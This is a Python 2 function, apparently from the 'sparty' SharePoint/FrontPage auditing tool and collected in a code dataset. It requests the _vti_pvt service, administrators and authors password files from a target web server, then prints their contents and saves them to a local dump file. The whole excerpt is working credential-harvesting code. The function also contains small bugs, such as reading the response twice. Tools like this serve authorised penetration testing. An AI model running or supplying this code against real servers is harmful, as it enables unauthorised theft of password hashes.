def dump_credentials(dest):
        pwd_targets = []
        pwd_files = ['_vti_pvt/service.pwd','_vti_pvt/administrators.pwd','_vti_pvt/authors.pwd']

        for item in pwd_files:
                pwd_targets.append(dest + "/" + item)

        for entry in pwd_targets:
                try:
                        handle = urllib2.urlopen(entry)
                        if handle.getcode() == 200:
                                print "[+] dumping contents of file located at : (%s)" %(entry)
                                filename = "__dump__.txt"
                                dump = open(filename, 'a')
                                dump.write(handle.read())
                        print handle.read()

                except urllib2.HTTPError as h:
                         print "[-] could not dump the file located at : (%s) | (%d)" %(entry,h.code)
                         continue

                except httplib.BadStatusLine:
                    print "[-] server responds with bad status !"
                    continue

                print "[*] ---------------------------------------------------------------------------------------"


        print "[+] check the (%s) file if generated !\n" %(filename)



# fingerprinting frontpage version using default files !
dataset/ETHPy150Open alias1/sparty/sparty_v_0.1.py/dump_credentials/original